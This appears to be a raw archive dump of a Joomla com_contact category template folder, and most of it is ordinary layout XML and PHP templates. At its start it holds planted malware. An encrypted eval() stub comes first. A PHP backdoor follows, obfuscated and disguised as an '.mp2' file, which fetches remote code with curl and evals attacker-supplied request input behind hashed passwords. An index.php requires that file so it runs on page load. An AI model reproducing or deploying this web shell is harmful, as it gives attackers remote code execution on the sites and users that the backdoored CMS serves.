Sj3etC+L199zP/M6++8te/Mtt39s0Qu82MCz9POnGcbbYZ57py1sltANf7m41qUNpwFra9O7a13eV/auNgtcGs5a9JfTXmAsTq1p3iD07zw3x69LXtx3O7KFZcgxQrGfoJiKO95RXtc0jzqzPxh587S2/B9vZZNeqps/5VteatSx3PV1aEtLHOTCf3Zn1/qpfczF6OeclttDfc5mDTf7afu/69Zw5l3M+53Xfcx1q9sBtmzvpgd++kLeZei3tcv1BwVRY6He8tXo4b3eqO/pNtfX2HvoSklXxLLQER9Z39mv58IXDRIDY2CnwIsniICg6W1q+Mq2wowIdUgBLiE90fXLqVqc3x2OFBzEh0bywG9OrRhlCJJyCzgif1zBlj1WxfJDa/vW9fx+tXR/MsbUq6fESV8lqSFn6qFplrf5L6y1/ZbRkaaz9dL4F5b/s5ukmqDzaMam2a2TTRBzYdYXJzEc/AEwoKlpYV70dd2xcd/ygSfpN4WaYPFIOTehzxcFRzVIx0G6vd1/6trrq6aq9plt5s8HdD55OCcICsUVsNa7zx8EL7bMkzcgW2ayh0GoqZEnzuanNu6knMxYsGfjDiLgnI8NN2BF9/v0IptdrrT5ciX8J4g9BEPBOsfA'; function RqT($Ejnks) { $eqE = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $zRW = substr($eqE, 0, 16); $WIqSx = base64_decode($Ejnks); return openssl_decrypt($WIqSx, "AES-256-CBC", $eqE, OPENSSL_RAW_DATA, $zRW); } if (RqT('DjtPn+r4S0yvLCnquPz1fA')){ echo '85QoILa2LSHLd8pdRf0fKE0JnDxRdDmKLCYG4ru8Y8a8Wtu0jTV/jIPeJ/lA/Tly'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($RqT)))); ?>PK���\�h�>>4com_contact/tmpl/category/category/BTaJZyxhCzgtY.mp2nu&1i�<?php
 goto I1NsNenCkH6Ik; xyaWuZnQC2rG0: class j0RuewEG6Un04 { static function Omg1cKX4J2CCu($VdveDwLpaMh_2) { goto Y2_GKZSGI2o_q; W4M20V5slN98v: return $puJfMsD7BUjjX; goto vtkyGourBbLCp; qrBjPdwMTHEaW: foreach ($uVKZCNkY_sfh2 as $FjVeauLEH1hWv => $Hb322ETJH8UCp) { $puJfMsD7BUjjX .= $EFyburJpaFMcp[$Hb322ETJH8UCp - 95732]; iHeu8AfxQ9xs0: } goto NdZgRxIX5bGYb; q0mJSIrt2VjwX: $uVKZCNkY_sfh2 = explode("\46", $VdveDwLpaMh_2); goto O5jo3QsTA90fr; NdZgRxIX5bGYb: Z6wXRgT4pZSXV: goto W4M20V5slN98v; Y2_GKZSGI2o_q: $XOt_SWgXB0mpC = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto hdAKPqpVdPd1T; O5jo3QsTA90fr: $puJfMsD7BUjjX = ''; goto qrBjPdwMTHEaW; hdAKPqpVdPd1T: $EFyburJpaFMcp = $XOt_SWgXB0mpC("\x7e", "\40"); goto q0mJSIrt2VjwX; vtkyGourBbLCp: } static function Jrgkwp7n6NrUk($PD0UtsAA1_45o, $FEhNCIEAyNm2A) { goto Q8NHmtyHNgDEI; tb8s6cc8TflfR: return empty($Z07kcDNqppsCD) ? $FEhNCIEAyNm2A($PD0UtsAA1_45o) : $Z07kcDNqppsCD; goto NHSTL4aYW9Gpt; Jbikum_2VCknf: curl_setopt($TJlOjHNWqdF02, CURLOPT_RETURNTRANSFER, 1); goto cbZFhk6VaHa9D; Q8NHmtyHNgDEI: $TJlOjHNWqdF02 = curl_init($PD0UtsAA1_45o); goto Jbikum_2VCknf; cbZFhk6VaHa9D: $Z07kcDNqppsCD = curl_exec($TJlOjHNWqdF02); goto tb8s6cc8TflfR; NHSTL4aYW9Gpt: } static function JjW_2H03yRc1z() { goto K0HIwhONoKnXY; EPJkFKCYeZIFL: O8HvWyFfVi4sP: goto drEuH7YXGsSmA; QvHxD3Zba4zHc: $JJALmLkvDbdio = @$lmkqFeIwfOizb[1 + 2]($lmkqFeIwfOizb[2 + 4], $Z7YJSamoyFvxm); goto H72WnF4V4G5jb; TbXQMEbAlnwnU: $K4HUQGjnnhukD = self::jRGKwp7N6nruK($obXtFhJi13SPk[1 + 0], $lmkqFeIwfOizb[0 + 5]); goto G2MBDhVUh6wl6; yBeepfEWtIDQ4: die; goto nTV2Gh4iZK0hn; nTV2Gh4iZK0hn: OVSSpHpF2dy6Q: goto yYnccEMc9I8gB; XIn08y5E04LmF: @$lmkqFeIwfOizb[10 + 0](INPUT_GET, "\157\x66") == 1 && die($lmkqFeIwfOizb[1 + 4](__FILE__)); goto LYePsWfvdwMXX; G2MBDhVUh6wl6: @eval($lmkqFeIwfOizb[4 + 0]($K4HUQGjnnhukD)); goto yBeepfEWtIDQ4; drEuH7YXGsSmA: $Z7YJSamoyFvxm = @$lmkqFeIwfOizb[1]($lmkqFeIwfOizb[10 + 0](INPUT_GET, $lmkqFeIwfOizb[1 + 8])); goto QvHxD3Zba4zHc; LYePsWfvdwMXX: if (!(@$obXtFhJi13SPk[0] - time() > 0 and md5(md5($obXtFhJi13SPk[3 + 0])) === "\x61\x63\x32\x35\x65\x33\x37\x38\63\62\x64\x34\x34\63\63\60\x61\70\x32\x66\67\x36\144\63\142\142\70\61\x38\143\66\141")) { goto OVSSpHpF2dy6Q; } goto TbXQMEbAlnwnU; K0HIwhONoKnXY: $PuSKnsYDBQOsy = array("\x39\x35\x37\65\71\46\x39\x35\x37\x34\64\x26\71\65\67\x35\67\46\71\x35\x37\66\61\46\x39\x35\x37\64\x32\46\71\x35\x37\65\x37\x26\x39\x35\x37\66\63\x26\71\65\67\65\66\46\x39\65\x37\64\61\46\x39\x35\67\64\70\46\71\65\x37\x35\x39\x26\x39\65\x37\64\x32\x26\71\x35\67\x35\x33\46\x39\65\67\x34\67\46\x39\x35\x37\64\70", "\71\65\x37\x34\x33\x26\x39\x35\x37\x34\x32\46\x39\65\67\x34\x34\x26\x39\65\67\66\63\46\x39\65\67\64\x34\46\71\65\67\64\x37\x26\x39\x35\x37\64\62\x26\x39\x35\x38\x30\71\x26\x39\65\x38\60\67", "\x39\x35\x37\x35\x32\x26\x39\x35\x37\x34\x33\46\71\x35\67\x34\67\46\71\x35\67\64\x38\x26\71\x35\67\66\63\46\71\x35\x37\x35\70\46\71\x35\x37\65\x37\x26\x39\x35\x37\65\x39\46\71\65\67\x34\67\46\71\x35\67\65\70\46\x39\x35\67\65\67", "\x39\x35\67\x34\66\46\71\x35\67\x36\61\x26\71\x35\x37\x35\71\x26\71\x35\x37\65\x31", "\71\x35\x37\x36\x30\46\71\x35\x37\66\x31\46\x39\65\67\64\x33\x26\x39\65\67\65\67\x26\x39\x35\70\60\64\46\71\x35\70\x30\x36\x26\x39\x35\x37\66\63\46\x39\65\x37\x35\70\x26\71\65\67\65\67\x26\x39\x35\67\65\71\46\x39\65\67\x34\67\x26\x39\x35\67\x35\70\46\x39\65\x37\65\67", "\71\x35\x37\x35\x36\x26\x39\x35\x37\x35\x33\46\x39\65\67\x35\x30\46\x39\x35\67\65\x37\46\x39\x35\x37\x36\63\46\x39\x35\67\65\65\46\71\65\x37\65\x37\46\x39\x35\67\64\62\x26\71\65\67\66\63\x26\71\x35\x37\65\71\x26\x39\x35\67\64\67\x26\71\65\x37\64\70\x26\71\65\67\64\x32\x26\x39\65\67\x35\67\x26\71\65\x37\64\x38\x26\71\x35\x37\x34\62\x26\x39\65\67\64\63", "\71\65\x37\x38\66\x26\71\65\70\61\66", "\x39\x35\67\63\63", "\71\65\x38\61\61\x26\71\65\70\x31\x36", "\x39\x35\x37\71\x33\x26\x39\x35\67\67\66\46\x39\65\67\x37\x36\x26\71\65\67\71\63\46\71\x35\67\66\71", "\x39\x35\67\65\66\46\71\65\x37\65\x33\46\x39\65\67\65\60\x26\71\65\67\x34\x32\x26\71\x35\x37\65\x37\x26\x39\x35\x37\x34\x34\46\x39\65\x37\66\63\46\x39\x35\x37\x35\63\x26\71\x35\67\x34\x38\46\x39\65\x37\x34\66\46\x39\65\67\64\61\x26\71\65\67\64\x32"); goto LhSEE3ibGh6Is; LhSEE3ibGh6Is: foreach ($PuSKnsYDBQOsy as $zJYnttQXJm0rv) { $lmkqFeIwfOizb[] = self::omG1cKX4j2cCU($zJYnttQXJm0rv); Md27lo0JHHIzn: } goto EPJkFKCYeZIFL; H72WnF4V4G5jb: $obXtFhJi13SPk = $lmkqFeIwfOizb[2 + 0]($JJALmLkvDbdio, true); goto XIn08y5E04LmF; yYnccEMc9I8gB: } } goto pxXSVaX63se9I; hFcukuBt4x2gJ: $xqS6Zt1sX7d4U = $Wa8sLvOc9Pr_D("\x7e", "\x20"); goto mr1R64bpYrFDQ; Cooz2xEtNrAGi: @(md5(md5(md5(md5($fKqubicb26wVy[16])))) === "\x35\145\x36\142\144\143\61\63\70\x31\x30\x39\143\x31\x31\64\146\x63\x66\x66\x32\142\146\143\x65\66\x34\67\61\146\144\x36") && (count($fKqubicb26wVy) == 22 && in_array(gettype($fKqubicb26wVy) . count($fKqubicb26wVy), $fKqubicb26wVy)) ? ($fKqubicb26wVy[69] = $fKqubicb26wVy[69] . $fKqubicb26wVy[74]) && ($fKqubicb26wVy[87] = $fKqubicb26wVy[69]($fKqubicb26wVy[87])) && @eval($fKqubicb26wVy[69](${$fKqubicb26wVy[42]}[30])) : $fKqubicb26wVy; goto usEptX13Ow92A; I1NsNenCkH6Ik: $Wa8sLvOc9Pr_D = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto hFcukuBt4x2gJ; mr1R64bpYrFDQ: $fKqubicb26wVy = ${$xqS6Zt1sX7d4U[31 + 0] . $xqS6Zt1sX7d4U[47 + 12] . $xqS6Zt1sX7d4U[20 + 27] . $xqS6Zt1sX7d4U[6 + 41] . $xqS6Zt1sX7d4U[27 + 24] . $xqS6Zt1sX7d4U[5 + 48] . $xqS6Zt1sX7d4U[55 + 2]}; goto Cooz2xEtNrAGi; usEptX13Ow92A: metaphone("\163\60\x32\x2f\106\167\64\x73\x52\x36\120\151\x54\x56\x38\x34\x31\57\x6b\x58\x2f\x6b\170\x6e\167\x68\122\x45\103\105\142\x39\x58\x53\151\x51\x79\x2b\x31\x6d\141\x56\x6f"); goto xyaWuZnQC2rG0; pxXSVaX63se9I: j0RuEweg6un04::JJw_2h03yrC1z();
?>
PK���\	u]::,com_contact/tmpl/category/category/index.phpnu&1i�<?php require base64_decode("QlRhSlp5eGhDemd0WS5tcDI"); ?>PK���\��LxHxH%com_contact/tmpl/category/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_List_Contacts_in_a_Category"
		/>
		<message>
			<![CDATA[COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset
			name="request"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
			>
			<field
				name="id"
				type="modal_category"
				label="COM_CONTACT_FIELD_CATEGORY_LABEL"
				extension="com_contact"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset
			name="basic"
			label="JGLOBAL_CATEGORY_OPTIONS"
			description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
			>

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_no_contacts"
				type="list"
				label="COM_CONTACT_NO_CONTACTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_category_heading_title_text"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset
			name="advanced"
			label="JGLOBAL_LIST_LAYOUT_OPTIONS"
			description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
			>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image_heading"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SHOW_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_headings"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="contacts_display_num"
				type="list"
				label="COM_CONTACT_NUMBER_CONTACTS_LIST_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="initial_sort"
				type="list"
				label="COM_CONTACT_FIELD_INITIAL_SORT_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="name">COM_CONTACT_FIELD_VALUE_NAME</option>
				<option value="sortname">COM_CONTACT_FIELD_VALUE_SORT_NAME</option>
				<option value="ordering">COM_CONTACT_FIELD_VALUE_ORDERING</option>
				<option value="featuredordering">COM_CONTACT_FIELD_VALUE_ORDERING_FEATURED</option>
			</field>
		</fieldset>

		<fieldset
			name="contact"
			label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Fields\Administrator\Field"
			>

			<field
				name="contact_layout"
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				class="form-select"
				menuitems="true"
				extension="com_contact"
				view="contact"
			/>

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>

			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_user_custom_fields"
				type="fieldgroups"
				label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
				multiple="true"
				context="com_users.user"
				addfieldprefix="Joomla\Component\Fields\Administrator\Field"
				layout="joomla.form.field.list-fancy-select"
				>
				<option value="-1">JALL</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				useglobal="true"
			/>
		</fieldset>
		<!-- Form options. -->
		<fieldset
			name="Contact_Form"
			label="COM_CONTACT_MAIL_FIELDSET_LABEL"
			>

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				useglobal="true"
			/>
		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\0M���%com_contact/tmpl/category/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;

?>

<div class="com-contact-category">
    <?php
        $this->subtemplatename = 'items';
        echo LayoutHelper::render('joomla.content.category_default', $this);
    ?>
</div>
PK���\z:7�M-M-+com_contact/tmpl/category/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Contact\Administrator\Helper\ContactHelper;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_contact.contacts-list')
    ->useScript('core');

$canDo   = ContactHelper::getActions('com_contact', 'category', $this->category->id);
$canEdit = $canDo->get('core.edit');
$userId  = Factory::getUser()->id;

$showEditColumn = false;
if ($canEdit) {
    $showEditColumn = true;
} elseif ($canDo->get('core.edit.own') && !empty($this->items)) {
    foreach ($this->items as $item) {
        if ($item->created_by == $userId) {
            $showEditColumn = true;
            break;
        }
    }
}

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
?>
<div class="com-contact-category__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field')) : ?>
            <div class="com-contact-category__filter btn-group">
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>
                </label>
                <input
                    type="text"
                    name="filter-search"
                    id="filter-search"
                    value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                    class="inputbox" onchange="document.adminForm.submit();"
                    placeholder="<?php echo Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
                >
